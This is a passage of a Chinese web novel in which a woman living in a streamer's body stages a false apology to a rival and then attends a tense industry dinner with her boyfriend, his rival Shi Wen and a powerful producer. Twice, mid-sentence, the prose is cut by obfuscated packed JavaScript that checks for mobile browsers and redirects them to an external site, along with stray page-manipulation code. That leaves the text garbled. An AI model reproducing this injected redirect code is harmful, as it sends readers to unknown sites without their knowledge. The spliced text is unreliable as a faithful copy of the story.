其实这倒符合文眉导演的胃口,她是一个对艺术精益求精的人,工作起来眼里揉不得沙子,再有流量的演员到了她这里,如果没有演技,会被要求立刻卷铺盖滚蛋。 陈怀顾和林见微一样,是经历了十几轮残酷选拔,千挑万选后留下的幸运儿。 所以她和陈怀顾都格外珍惜这次来之不易的机会。林见微记得那时他每天第一个来片场,最后一个离开,没有他的戏的时候他就看其他演员拍戏,切磋经验,共同进步。 那时的他还是个怀揣演艺梦想的青涩少年,意气风发,勤奋进取。 她不知道他是什么时候开始变成了现在这个莫名透着油腻,满身戾气的人。 她切出聊天界面,找到了麦乐鸡的头像,刚想发消息,发现今天早上她已经发了一条: [大劈叉,你昨晚为什么又没有直播?] 隔着屏幕,林见微已经脑补出麦乐鸡那副颐指气使、居高临下的姿态。 命都快没了,还在乎什么直播啊。 林见微在心里骂了一句,但手指在屏幕下方迅速敲击出恭敬温顺的回复: [不好意思,昨晚确实有要紧事。] 接着,她敲下心里提早就编好的台词: [我……其实昨晚没有直播,是因为我认真思考了一整个晚上。] [我觉得最近的事,是我不对,尤其是上周末在你家的时候,是我冲动了,我要向你道歉。] [我们明天聚一下好吗,我希望可以当着大家的面给你郑重道歉,希望你能接受。] 几秒钟后,麦乐鸡发来回复: [你要当着大家的面给我道歉?大劈叉,你这是要搞什么名堂?] [是不是还惦记着那一百万呢?] [我告诉你,没门!] 林见微迅速回复:[真没别的意思,以前是我太斤斤计较,觉得你们一个个地都功成名就,而我还窝在十八线原地不动,是我的嫉妒心作祟,才导致了和你们的疏远和争吵] [我想和姐妹们修复一下友谊,让不愉快的事都过去,咱们重新开始,可以给我一个机会吗?] [上次说的一百万,我不要了,那是开玩笑的] [以后我们还是好姐妹可以吗?] 也许是林见微的语气确实卑微,也许是看她说得诚恳在理,过了一会儿,麦乐鸡说: [好吧,明天下午4点,我和郝施钱雯Chris有个小聚会,还在我家,你有空过来吧。] 林见微:[太好了,那咱们到时候见!][爱心] 切出聊天屏幕,林见微在心里冷笑:麦乐鸡是极重面子的人,现在她诚恳要求要当着一众小姐妹的面给她道歉,她就算临时组也要组个party。 她想要道歉,那就给她道歉。 口头上的认输是最不重要的。 只要能获得更多的机会和流量,口头上说什么都不重要。 她的心里还有好大一盘棋。 处理完陈怀顾和麦乐鸡的消息,林见微打开香蕉直播。 果不其然,私信消息已经炸锅了…… [大劈叉,大劈叉,你还活着吗?!] [大劈叉,你和高屎见面了吗???] [大劈叉,这里有一个焦急蹲进度的人,啊啊啊希望你一切OK啊] 类似的消息还有10086条。 林见微轻叹一声,手指快速划过消息。 从醒来之后,她就一直在想要不要发帖说高翔昨晚并没有出现,她太过弱小,人微言轻,高家把她的话当做儿戏。 但草稿箱里的内容写了又删,删了又写,思来想去总觉哪里不妥。 因为她真的太弱小了,她本想靠投机取巧一箭双雕,把高翔和齐飞虎一起解决了,但想想看昨晚发生的事,她实在是天真得有些过头了。 如果没有小孙警官和祁大年的及时出现,她可能早就一命呜呼了。 所以现在并不是对付高翔的最佳时机。 思来想去,她最终还是删光了草稿箱里的内容,仰头长叹一声。 怅然间,她突然想到了什么,于是手指向上一划,点进微信。 她找到“潜力新人主播6群(494)”,点击群成员,在近五百个密密麻麻的头像里成功锁定那个散发着温暖光芒的头像。 她向时闻发送了好友申请:您好,我是大劈叉,很高兴和您相逢! 17.十七 时间很快来到晚上六点。 虽然太阳已然西斜,但京南市室外温度依然有三十度左右,空气里蒸腾着暑热,让人身心透着一股燥气。 一辆白色跑车停在酒店门口,不多时,一个穿着淡粉色连衣裙的女子快步从酒店里出来。 林见微走到跑车前打开车门,一阵清凉混着重金属音乐冒了出来,陈怀顾手搭在方向盘上,瞟了她一眼,没说什么。 林见微刚钻进车内,陈怀顾便一脚油门,跑车轰地驶向前方。 林见微慌忙拉上安全带扣好,低头看了手机锁屏上的时间,不好意思地说:“对不起,今天大姨妈来了,多耽搁了一些时间,我们要迟到了吗?” 陈怀顾目不转睛地看着前方,夕阳打在他半面脸上,他的神情有些严肃。 车内的重金属音乐轰然作响,林见微几乎听不见陈怀顾说话: “姨妈期就多喝点热水,今晚早点休息,现在是高峰期路上堵车,我们可能晚到个十五分钟左右。” 林见微很是局促,她知道陈怀顾好面子,现在自己害他迟到,他肯定生气。 细白修长的手指攥着金属包链,林见微望着他的侧脸再次道歉:“真的不好意思,下午痛经有点严重,吃了止痛片缓了一会儿才好,收拾完之后就有点晚了。” 陈怀顾依然目不斜视地看着前方,嘴角紧绷着,夕阳在他脸上铺上一层金光,但他的侧颜依然显得十分冷峻。 凭林见微对陈怀顾的了解,他大概率是生气了,而且不是只气她今晚迟到。 林见微最近有些冷落他,他几次晚上约她,都被她拒绝了,这一定是从来没发生过的事。 其实林见微已经很尽力地扮演了一个小鸟依人的角色,无奈之前的大劈叉一定做得更温婉动人。 江山易改本性难移,林见微是个自尊自爱的人,受不了天天围着男人转给他提供情绪价值,能做到这个地步已经是她的极限了。 正当她想着要不要说点什么时,陈怀顾突然扭头,从头到脚快速看了她,神色突然有些古怪。 犹豫了一下他才说:“今天穿得挺漂亮的。” 林见微确实特意打扮了一番,蓬松浓密的头发微微卷曲,妆容轻透自然,藕粉色的齐膝连衣裙配上同色系的眼影,让人眼前一亮。 她低头,故作羞赧,手指整理着鬓间碎发:“谢谢。” 林见微今天确实非常养眼——如果她和陈怀顾两个人走在街上,她的回头率一定比他这个颜值七分外加明星光环加持的人要多。 大多数时候,陈怀顾都非常开心见到女朋友打扮得好看,尤其是带出去见朋友的时候。 但今天不同,看着低眉浅笑的林见微,他的心里突然莫名咯噔一下,一种古怪别扭的感觉油然而生。 以前每次约会的时候,大劈叉都化着夸张厚重的网红妆容,美则美矣,但不高级。 他每次都劝她化个淡妆就行,但她说那样的话就不好看了,每次见面还是严严整整的一套,脸上的粉假白假白的,一看就糊了至少五六层。 但这一次,她终于听劝了,脸上妆容轻薄透明,眉毛似乎只是淡淡地描了一下,口红也是淡淡的藕粉色,整个人说不出的舒服自然。 她的审美似乎在一夜之间提高了几个档。 这让陈怀顾意外,也让他感觉古怪——因为她现在的风格,从穿衣打扮,到谈吐见识,都让他不自觉地想到他躺在医院的女友,林见微。 也许是最近忙疯了精神有些失常,他有时觉得恍惚,仿佛林见微附体在大劈叉身上了一样。 他瞟了她好几眼,最终冒出一句:“看着挺温柔的。” 二十分钟后,跑车停在京南东区的川深渝情门口。 川深渝情是京南市高档川菜里生意最红火的一家,口味正宗,菜品新鲜,主打川菜火锅,但价格比平均水平高30%左右,所以光顾的人一般都是有点小钱的人。 以陈怀顾和他朋友的消费水平,其实大可以找一家米其林三星级餐厅,但大家都表示想吃点接地气的人间烟火,所以就定在了这个川菜馆。 进门后,服务员带着二人左转右拐,来到了一间挂着“峨眉”的包间门口。 刚打开门,里面已经就坐的五个人齐齐看过来—— 那一刻,林见微如五雷轰顶,一下子呆立原地。 对面的一个人也惊讶得站了起来,嘴巴动了几下,才冒出一句:“你们也来了!” 林见微望着谷煜,下意识地瞟了一眼陈怀顾——他看上去倒是比上次淡定多了,似乎对此毫不意外。 其实更令林见微震惊的,是坐在谷煜左手旁的那个人。 在林见微和陈怀顾进门的那一刹那,当那熟悉的面容映入眼底,当她和他目光在空中相碰,林见微非常肯定,时闻的脸上出现了一瞬间的错愕。 他记得她。 那一次在警察局门口的偶遇,他还记得。 但一切都转瞬即逝,时闻很快神色恢复如常,是那副见惯了的漠然从容,仿佛对一切都漫不经心的样子。 他拿起茶杯,低头啜了一口。 时闻今天穿着熨帖平整质地丝绸白衬衣,扣子扣到领口,下面是浅灰色西裤。 一旁的谷煜则显得随意一些,简单的白色polo衫搭配牛仔裤,整个人显得青春活力。 两个人坐在一起,画风截然不同,一个是不苟言笑的老干部,一个是青春活泼阳光四射的男大。 林见微突然意识到,这次聚会很可能是高中同学聚会,因为时闻和坐在桌子右侧的一个人都是陈怀顾的高中同学。 “陈大明星,你终于来了啊!”杜全周霍地起身,红光满面的脸上溢满热情洋溢的笑容,他大步走来,有力地握住陈怀顾的手。 陈怀顾连忙上前几步笑道:“对不起路上堵车,我们来晚了,杜老板,最近还好吗?” 杜全周爽朗地笑了几声,他看上去明显是中年发福,四肢还保留着少年时期的纤瘦,但肚子却凸了出来。 开口时他声如洪钟:“托各位的福,挺好的。” 他看了看林见微,脸上露出迟疑神色,看了看陈怀顾眼神,才小心翼翼发问:“这位是……嫂子?” 杜全周、陈怀顾、时闻是高中同班同学,三人年龄相仿,但陈怀顾比杜全周大三个月,所以杜全周管林见微叫嫂子。 陈怀顾点点头:“对,认识一下,这是我女朋友韦盏,又名扬州大劈叉。” 杜全周明显有些惊讶,但他反应很快,立刻用笑声掩盖刚刚的惊讶,上前握住林见微的手,哈腰道: “劈叉嫂子好,我是小杜,以后有什么需要帮忙的尽管开口。” 林见微笑着轻轻躬身:“您客气,杜总,叫我大劈叉就行。” 对面站着的谷煜神情复杂地看着一切,刚想说些什么,却被邻座的时闻拉着坐了下来。 “别多管闲事。”时闻低声说了一句。 谷煜右手旁坐着一位年纪看上去明显比众人长十岁的男人,坐在主座上,明显是今天宴请的大咖。 他听到时闻的话,意味深长地看了二人一眼,又看向对面。 这时杜全周正好指着这边,向林见微和陈怀顾介绍道:“给二位介绍一下,对面这位是我们的李寅虎李总,怀顾,你认识李总的对吧?” 陈怀顾立刻点头:“有幸见过几次,还请李总多多关照。” 李寅虎是业内知名策划人,策划了多档现象级综艺节目,前几年大火的几个选秀,就是他一手操刀炮制出来的。 李寅虎非常擅长捕捉市场的新动态,深谙观众心理,策划的栏目无一不火,在圈内的地位也水涨船高。 今天的局是杜全周牵的头,主要是帮杜煜宴请李寅虎,叫了陈怀顾和时闻,还有另外一个朋友倪瓒作陪。 倪瓒坐在最右侧,看上去三十多岁,长得细瘦伶仃,长而狭的眉眼里塞满了客气到有些谄媚的笑。 他也算半个圈内人,做一些打杂工作,但因为拉得下脸面,放得低身段,讲话和做事都谄媚至极,所以颇得照顾,大家有饭局就喜欢叫他去活跃气氛。 这次的饭局,倪瓒可有可无,但杜全周顾念到饭局上谈的事可能太过严肃认真,再加上他听说到的陈怀顾、谷煜、时闻三人之间微妙的关系,所以想来想去,还是把倪瓒叫了过来。 今晚的局其实是谷煜拖杜全周攒的,他最近被舒养酸奶的事搞得焦头烂额,所以亟需业内大佬帮忙指点迷津。 李寅虎虽然不是做食品生意的,但他是影视圈出名的出品人,投资过多部综艺、电影、电视剧,人脉极广,和各行各业的老板们都熟识。 杜全周也是做生意的,和李寅虎有过多次商业合作,和谷煜私交不错,所以干脆攒了个饭局,并顺便叫了两个高中同学作陪。 虚礼了一阵,陈怀顾拉着林见微在倪瓒旁边落座。 刚坐下来,李寅虎就笑眯眯地看着陈怀顾,手指往时闻那边一指:“怎么,你们高中同学不坐在一起啊?” 陈怀顾心里骂了一句,但表面上笑道:“这边离上菜的地方进,我坐这边能为大家服务。” 李寅虎笑道:“好,那就麻烦你了。” 陈怀顾点头:“应该的,应该的。” 这时服务员进来询问要不要点菜,杜全周立刻看向李寅虎,服务员小姑娘会意,甜甜地笑着问李总要点什么。 李寅虎拿起面前的菜单翻看起来,点了几个招牌硬菜,然后让其他人各自加自己想吃的。 谷煜加了个毛血旺,陈怀顾加了麻辣兔头,到林见微的时候,时闻突然冷不丁地说:“来份红糖糍粑。” 林见微心里一跳:她不太能吃辣,再加上姨妈第一天,本来也想点这道甜品的。 而且,红糖糍粑确实是她最喜欢的甜品之一,她每到川菜馆必点这道菜。 她抬起头,正好碰上时闻的目光,也许是她脸上带着惊讶的神情,时闻慌忙道歉:“对不起,我以为到我了,不好意思抢先了。” 林见微忙摇头:“没事,我正好也想要这个。” 谷煜还以为她是拘束客气:“你有什么想吃的就尽管点,这顿饭是我请客。” 说着他白了时闻一眼:“你怎么跟人家小姑娘抢啊,没素质。” 正常来说,当别人想蛐蛐时闻的时候,都会说他清高、假模假式、沉闷无趣,从来不会有人说他没素质。 因为时闻是出了名的高素质,非常照顾别人情绪,从来不争不抢。 但谷煜和时闻关系很铁,就这么随口说了出来。 时闻也不恼,只是认真解释道:“我以为我们是左右跳着点的,你懂得?” 见谷煜脸上一副迷惘神色,时闻只得继续耐着性子解释:“就是负一的n次方乘以n那样,在正负之间依次向上横跳,以李总为我们的零点。” 谷煜不知道他在说什么,觉得这简直莫名其妙: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424780|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >哥们,你能不能说点人话。 他无奈地看着时闻,想了半晌才蹦出一句:“大哥你饿了想赶紧点菜就直说。” 时闻也很无奈,想来想去对林见微道歉说:“对不起,刚刚是我太心急了。” “但这顿饭确实是谷老板出钱,你想吃什么尽管点,千万别想着给他省钱。” 谷煜又翻了个大白眼。 林见微轻浅笑道:“红糖糍粑就够了,我不太能吃辣,喜欢甜口的东西。” 谷煜挠了挠头,心想哪有人吃饭只吃甜品的,便看向陈怀顾:“这样吧,陈哥你熟悉大劈叉口味,帮她点点什么。” 陈怀顾看向服务员小姑娘,问她现在点了多少个菜了,小姑娘快速答道: “李总一开始点了两个热菜两个凉菜,再加上麻辣兔头和毛血旺,这是四个热菜两个凉菜,外加一份甜点。” 陈怀顾点点头:“其实我和大劈叉都吃不多的,有上镜需要,不敢多吃,所以你们就看着点吧。” 正当他把菜单叠起交还给服务员小姑娘时,一旁突然传来时闻冷冷的声音: “我最近没上镜需要,那我再来加两个菜——白灼菜心,蟹黄豆腐,不要加辣,再来一锅大米饭。” 陈怀顾的脸色肉眼可见地阴沉了一个度。 他刚刚本是随口一说,没想到时闻多心了,以为是在暗讽他最近事业遭到滑铁卢。 这事挺罕见的,时闻平日里非常沉得住气的,很少有事情能激怒他。 但他今天怎么异常敏感? 看来最近的打人新闻对他影响挺大的。 陈怀顾清了清嗓子想澄清一下,但又觉得没有必要。 时闻这小子风光得够久了,是时候让他尝尝低谷的滋味了。 不然他永远都是那副骄傲的样子,看着就让人心烦。 服务员连忙记下:“好的,那现在是四荤四素,一份主食,一份甜品,咱们七个人应该差不多了。” 杜全周:“对,我最近血压血脂有点高,也吃不了太多,先下单上菜吧,咱们不够了再点。” 说着,他突然想起了什么,嘱咐道:“如果可以的话,所有的菜少放点辣,我们这里有位女士不太能吃辣。” 服务员小姑娘点头在单子上记下几笔,口中连说了几次“好的没问题”。 小姑娘领命而去后,几人闲聊了一阵后李寅虎回头看向时闻,笑眯眯地问: “小时,你最近事情处理得怎么样,我看你气色不是特别好,是不是事情有些棘手?” 李寅虎指的自然是时闻被爆出酒后打人的事。 时闻从容答道:“最近几天确实因为这件事没休息好,公司那边一堆人找。” 李寅虎:“年轻人要能沉得住气,此一时彼一时,人生不是康庄大道,磕磕绊绊是常有的事。” 时闻点点头:“您说的是。” 李寅虎:“你听我的,最近你低调一些——当然你一直都很低调——公司让你做什么,你就做什么。” “他们不是想让你去直播领域闯一闯吗,那就大大方方去,做一做账号,配合发点图片视频。” “直播行业是最近几年的热门,很多公司都看好这个赛道,纷纷入局,我自己就投资了好几个平台和公司。” “而且你们知道,我最近在筹备一档叫做《星璨》的女团选秀节目,定下来的好几个选手都出身直播平台。” “所以小时你千万别有情绪,沉下心酝酿几年,等这件事热度过去之后,我帮你想办法,让你重回荧幕。” 李寅虎是业内知名投资人出品人,能呼风唤雨,能量极大,即使是一线明星和老戏骨们,都对李寅虎尊重至极。 一个艺人如果能得到李寅虎的肯定,那多半晚上会兴奋得睡不着觉,因为李寅虎的一句话就可以送一个籍籍无名的十八线演员直达一线。 处在低谷期的艺人如果能得到李寅虎的帮助,那么重回巅峰只是时间的问题。 现在,李寅虎主动询问时闻的事情,又主动提出几年之后可以帮他,这更是多少人梦寐以求都得不来的事情。 但时闻神色并没有什么变化,只是淡淡地说:“多谢李总,我会去直播行业低调做人的。” 一旁的杜全周有些恨铁不成钢地看着他——此时时闻只要说几句漂亮的场面话,就能得到李寅虎的保驾护航,以后星途无量。 刚刚李寅虎明明说他自己也投资了几个直播平台,这分明是向时闻抛出橄榄枝,如果时闻识趣一些,顺杆爬上去,一定可以在直播平台混得盆满钵满,而且以后可以重回大荧幕。 但他深知时闻脾性——他要是识趣会顺杆爬,咖位早就跻身一线了,也不会出酒后打人被爆新闻的事。 这是个不愿为米折腰的硬骨头,天塌下来了也要清清白白。 杜全周咳了一声,举起酒杯——在陈怀顾和林见微来之前,几人已经点好了酒水。 他本想让大家敬李总一杯,但这时陈怀顾冷不丁地低沉插道:“有家里托底的人,到底是不一样。” 一句话说得人皆变色,谷煜和杜全周都紧张地看向时闻。 陈怀顾这句话颇有意味,既可以理解为时闻拒绝了李寅虎明摆的好意,是因为家大业大,也可以理解为虽然酒后打人的新闻闹得沸沸扬扬,时闻还能全身而退无缝衔接下一个工作机会,是因为家里出了力。 谷煜率先拍桌呛声:“陈怀顾,你什么意思?” 18.十八 杜全周立刻站起身阻止道:“谷兄弟,别激动,老陈就是想说时闻家境好,他羡慕嫉妒恨。” 说着又扭脸对陈怀顾使劲使眼色:“对吧老陈?” 陈怀顾还没来得及说什么,林见微站起身,抢先道:“我家老陈的意思是,时公子有家但他没有。” 说着她深情地看向陈怀顾:“宝贝,咱们在一起两年了,我早就把你视作我的家人了,人生总有高峰低谷,但我会永远陪在你身边,做你最大的底气。” 一席话说得让杜全周、谷煜、李寅虎都对她刮目相看。 一开始他们听说林见微是网络主播,见她人长得漂亮火辣,或多或少都戴了有色眼镜。 但现在看来,她明显不是那种胸大无脑的女生,相反,她脑子相当好使。 刚刚的局面剑拔弩张,如果不是她温柔巧遇一番,陈怀顾和时闻说不定已经干起来了。 但现在她当着众人的面,对陈怀顾深情告白,字字句句说得情深意切,如春风化雨,浇灭了所有怒火。 陈怀顾面对女朋友这番软语告白,自然不能再阴阳什么,于是目光都聚焦在时闻身上。 时闻的脸色已经阴沉到了极点。 谷煜和杜全周都捏把汗,自从认识时闻以来,他们就没见他这么低沉过。 时闻捏着酒杯,修长手指因为微微用力,骨节显得异常分明。 他眼底幽深,目光复杂,似乎有什么话哽在喉中。 室内安静得落针可闻,每一秒钟都变得漫长,众人面面相觑。 不知等了多久,时闻最终沉默地拿起酒杯,仰起头。 下颌线的棱角异常分明,凸起的喉结上下滚动,他将酒一饮而尽,空酒杯放在桌上发出“啪”的一声轻响。 杜全周紧张地盯着时闻,只见他只是沉默地坐在那里,好像没打算做什么,于是赶忙抓住 机会转移话题。 他举起酒杯声音洪亮地说:“各位,今天咱们难得把李总请来,要不咱们一起给他敬个酒?” 一旁的倪瓒也应和地捧起酒杯:“来,咱们一起敬李总一杯!” 李寅虎拿起杯子,看看时闻又看看陈怀顾,脸上的表情意味深长。 半晌,他微微摇头轻叹,对着众人举杯:“来,一起把酒干了。” 除了时闻,所有人忙应和点头,端起杯子一饮而尽。 喝完这圈酒,杜全周笑着提议:“咱们空喝酒也没意思,不如玩点游戏怎么样?” 倪瓒附和道:“好啊,咱们玩什么?” 杜全周想了一下说,突然笑了一下:“刚刚时闻不是说什么数列吗,干脆咱们就玩个和数学相关的游戏,大家轮流报数,到7的倍数就跳过去,不然就输了罚酒。” 话音刚落,谷煜就踹了时闻一脚,时闻没忍住嚎了一声。 他惊怒地看着谷煜,众人也讶异无比:想换游戏就直说啊,为什么要踢人。 要踢人也应该踢杜全周吧。 这时只见谷煜面无表情地说: “你们刚刚看到时闻的表情了吗,那分明在说,这算什么数学,不过就是小学一年级的计算罢了。” 面对谷煜的无情出卖,时闻既无奈又无语,脸上一副“你给我滚”的表情。 但他也只是耸耸肩,没有否认。 他心里确实是这么想的。 时闻的求学履历和在场的众人相比可以说是相当辉煌,在高中的时候成绩名列前茅,之后一路藤校读到硕士毕业。 杜全周哈哈拍掌一笑:“时闻可是我们这里出了名的知识分子,和咱们根本就不在同一个起跑线上。” “那不如定个规矩:我们输了,罚酒一杯,时闻你输了,罚酒两杯。” 这规矩听着合理,众人都默默同意。 时闻无奈地看着他,半晌说道:“我不会输的。” 谷煜笑得前仰后合:“听听,这么耿直霸气的话,也就时闻敢说。” 李寅虎看得津津有味,干脆提议:“那干脆从时闻开始吧,顺时针进行下去。” 时闻欣然同意。 时闻、谷煜、李寅虎、杜全周、倪瓒、陈怀顾分别报出了1到6,轮到林见微的时候,她响亮而字正腔圆地报出了一个7。 她声音还没落下,众人立刻哈哈大笑了起来,谷煜笑到捶桌,好半晌才不可思议地抬头问道:“大劈叉,你怎么回事?” 杜全周止住笑后又解释了一遍:“劈叉嫂子,我跟你再解释一下,这个报数的规矩是遇到7和7的倍数就要跳过去,不然要罚酒的。” 林见微挠挠头,她刚刚确实是恍惚了,脑子突然就不转了。 她数学奇差无比,小学的时候吭吭哧哧学了好久,也才勉强在别人都考九十多分的时候靠个八十分。 后来走了艺术的道路,就终于永远和数学说拜拜了。 她实在是不好意思,脸色微红,站起身鞠了一圈躬:“对不起大家,我傻了。” 李寅虎笑着问:“那罚酒呢?你自己喝,还是让小陈帮你?” 林见微立刻举起酒杯——她刚刚已经干了一杯白酒了,今天一整天没怎么吃东西,再加上来姨妈状态不好,现在胃里还是辣辣地疼。 但她还是给自己倒了酒,郑重举起,对着李寅虎和众人道:“我自己喝。” 陈怀顾本想拦一下,但林见微动作很快,仰起头,酒杯立刻清空。 众人纷纷鼓掌赞叹她是女中豪杰。 陈怀顾无奈地拉她坐下,在她耳边轻声说:“没事,下次我帮你喝。” 林见微目光有些飘忽,点点头顺从道:“好。” 其实林见微酒量不差,之前经常和尤有芒去酒吧喝酒,两人一人一瓶红酒聊到天亮。 但大劈叉这个身子骨……好像对酒精的耐受度比较低,她只喝了两杯,就觉得有些撑不住了。 她觉得所有的东西都虚浮在空中,慢慢地飘了起来,光和影都散乱揉碎在一起。 没过多久,杜全周就敏锐地觉出不对,一边朝陈怀顾使眼色,一边关切地倒了一杯热茶,用转桌送到林见微面前: “喝点热水缓一缓吧。” 林见微感激地看了他一眼,将热茶从桌子上拿下捧到嘴边,仰头咕咚喝了一口。 她确实急需热茶来沥一沥,中和一下胃里翻腾的酒精。 然而热茶确实是热茶,服务员小姐姐走之前特意给茶壶重新蓄了水,而杜全周给林见微的那杯是从壶里新到出来的。 将近90度的水灌进口腔,林见微立刻“哇”了一声,一口热茶全数喷出,洒在自己脖颈和胸口。 她今天穿的是一条藕粉色碎花吊带连衣裙,领口不高,材质也很薄,所以打湿后一下子有些尴尬。 林见微慌忙从桌上刷刷抽出几张纸巾,拼命摁在脖颈和胸口,陈怀顾也抽了几张纸巾,想帮忙擦一下,但她下意识地打开了他的手。 她打他手的时候发出一声清脆声响,陈怀顾愣住了,捏着纸巾的手僵在空中。 林见微此刻顾不上其他的,只是拼命地擦去水渍,希望纸巾能把胸口打湿的衣料瞬间吸干。 她越擦越急,因为低头久了,头也有些晕,不知不觉地眼泪就涌上眼眶。 谷煜见她眼尾红红的,立刻站起身,但起身的瞬间,旁边突然响起一阵椅子和地面的摩擦声。 他讶异地回头,只见时闻站了起来,从椅子靠背上取下浅灰色西装外套,大踏步朝林见微走去。 修身的浅灰色西裤将他两条长腿勾勒得笔直修长,熨帖合身的白色衬衣下隐约可见平日锻炼的痕迹。 此刻时闻神情严肃,目光清冷,走到林见微身旁时,站在一旁的陈怀顾咬牙恨恨地瞪着他。 二人目光在空中短兵相接,陈怀顾瞪着手拿西装外套的时闻,低沉道:“你干什么。” 时闻没有回答,径直走到林见微身前,修长的手指利落地一抖,外套便披在她双肩。 时闻至少有185,大劈叉这个身形是160多一点,所以时闻的外套穿在她身上,不仅把她上身全数罩住,底下还多出来好长一截,把裙子下摆也遮在其中。 外套上散发着淡淡的青松木香,林见微本来头发晕,但闻到这个味道后,立即觉得神清气爽了一些。 她感激地看着他,眼尾泛着红,小声真诚地道:“谢谢你。” 似乎是错觉,她看见时闻点点头,然后用非常轻的,只有他们两个人能听见的声音说了句: “你直播的时候为林见微发声,很勇敢,我支持你。” 时闻嗓音很沉,话音很轻,落在耳朵里仿佛雨落空山,有一种净化人心的作用。 但下一瞬,时闻已经和她拉开距离,仿佛一切都是林见微的错觉。 他目光抬起,再次和陈怀顾四目相对。 半晌,他平静道:“大夏天的,你们都没穿外套,只有我带了,正好给她救急。” 陈怀顾瞪着眼睛梗着脖子,脖颈出青筋凸起,他恨恨盯了时闻好一阵子。 空气有些凝固,这时杜全周也站起来,试图过来圆场解围。 “时闻是好意,怀顾你别多想。” 陈怀顾转头横了他一眼,一副“你别多管闲事”的表情。 林见微很想站起来说点什么,但酒劲上头之后,她四肢有些酸软无力,只得勾住陈怀顾的手指,轻声道:“坐下吧,是我不好。” 这事本来可以暂时告一段落了,但对面的谷煜突然冲陈怀顾说:“你不是她男朋友么,她这个样子,明显不能喝酒,刚刚你为什么不拦一下?” 面对时闻和谷煜一个物理一个魔法的双重夹击,陈怀顾脸色铁青,一时语塞。 他知道大劈叉酒量不大,但还没到两杯就倒的地步。 今晚可能是因为有姨妈在身,再加上两杯酒喝得急,又是空腹,所以一下子支撑不住了。 他打算这一轮之后帮忙拦酒的,谁想到这么早就不行了。 被抢白了一番,他怒火中烧。 前几天谷煜在他面前对林见微各种关心,今天又是时闻,二人看样子关系还不错,陈怀顾简直怀疑两个人商量好了要给他难堪。 眼看陈怀顾已经到了一点即炸的状态,李寅虎轻咳一声发话道:“尊重女性是好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429381|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,值得大力发扬,但只有小陈最了解大劈叉,他今晚肯定会照顾好她的,你就不要太操心了。” 李寅虎是圈内老大哥一样的存在,人脉广人缘好,做事令人信服,所以平日里经常给人平事。 大家都会给老大哥面子,几杯酒下肚后一番互诉衷肠,梁子就算解了,以后还是朋友。 但时·头铁·闻和谷·头铁·煜并不走寻常路。 时闻冷笑着走回座位,霍地拉开椅子,椅子和地面摩擦发出嘲讽拉满的刺啦声响。 谷煜冷冷看着对面的陈怀顾。 这时又是杜全周陪笑着出来解围。 “各位,今晚咱不聊不开心的事,李总好不容易百忙之中抽出空来,咱们再一起敬他一杯。” 说着自斟自酌了一杯酒,倪瓒也几乎同步地把酒杯斟满。 他这么一提,时闻突然有些过意不去——今晚的局是为谷煜而设,为了帮他解决舒养酸奶的燃眉之急。 他不想耽误谷煜的大事。 时闻郑重起身,倒满酒举起酒杯,对众人道:“谢谢杜老板组局,谢谢李总、倪总的大驾光临。” “也谢谢谷煜,我的好兄弟好哥们,总在最困难的时候鼓励我支持我。” 谷煜突然被点到,也站起身拿起酒杯:“好兄弟不说那么多了,都在酒里了。” 众人喝了这一轮,终于开始进入正题,杜全周对李寅虎说:“李总,今天我谷兄弟请客,是想让您帮忙诊断诊断。” “最近关于舒养酸奶的新闻您肯定看到了,想请您支个招。” 李寅虎之前和谷家也就是泛泛之交,也正因为如此,他和笑口集团老一辈没什么交情,所以做这个居中调停的人正合适。 谷煜也在一旁补道:“李总,我家的情况您应该了解一些,希望您不吝赐教。” 李寅虎沉吟片刻后问:“你接管家里生意多久了?” 谷煜:“也就四五个月。” 李寅虎:“那你镇不住公司里的那帮元老,很正常。” 李寅虎确实是老辣,这一句话就点到了舒养酸奶和谷家的笑口集团的核心痛点—— 二代接班,表面上看起来风光无限,但海平面下暗潮涌动,各种利益交织互搏。 谷煜的父亲谷盛平最近身体不好,只能退居二线把大权放给儿子,但其他老一辈的人不服气这个毛头小子,所以暗暗使绊子看他笑话。 而谷煜刚刚接班,年轻气盛野心勃勃,大刀阔斧地上了新产品,希望以此来升级品牌形象,扩大市场。 虽然一切都是好心,但也动了老一辈的蛋糕。 你小子风光了,岂不是显得我们很蠢笨无能,跟不上时代潮流,抓不住商机? 谷煜:“李总,那您看,我现在应该怎么办呢?” 李寅虎再次沉思片刻,既而问道:“那些发生问题的酸奶,到底是什么情况?” 谷煜:“那是一批质量不合格的酸奶,本应该被销毁,但因为审检的疏忽,意外留通到了经销商手上。” “我们已经严格审理了审检流程,开除了负责此事的审检员,也对外做了公告和道歉。” “舒养酸奶产品本身的质量没有问题,我们已经连夜紧急召回了之前那批问题酸奶,现在市面上流通的都是合格产品。” 李寅虎点点头:“你看,这里面的问题很大,第一,你们笑口集团这么多年从来没发生过的审检失误,偏偏在你接班的时候发生了。” “第二,你们的竞争者之前也出过类似的食品安全问题,但被爆出来之后风波很快就平息了,但你们这次闹得一波三折,演连续剧一样,明显有人在背后设计。” 谷煜连连点头:“您说的句句在点上,具体我也很难多说,但确实有人捣鬼。” 说着,谷煜指了指屋顶,意思是上面的人在作祟。 李寅虎思忖良久,缓缓道:“你们笑口集团的人,我也认识几个,这样吧,改天我做东,把大家叫过来一起吃个饭,打开天窗说亮话,争取帮你把事情解决了。” 谷煜感激不尽:“破费了,您愿意出面,这件事就解决了一大半。” 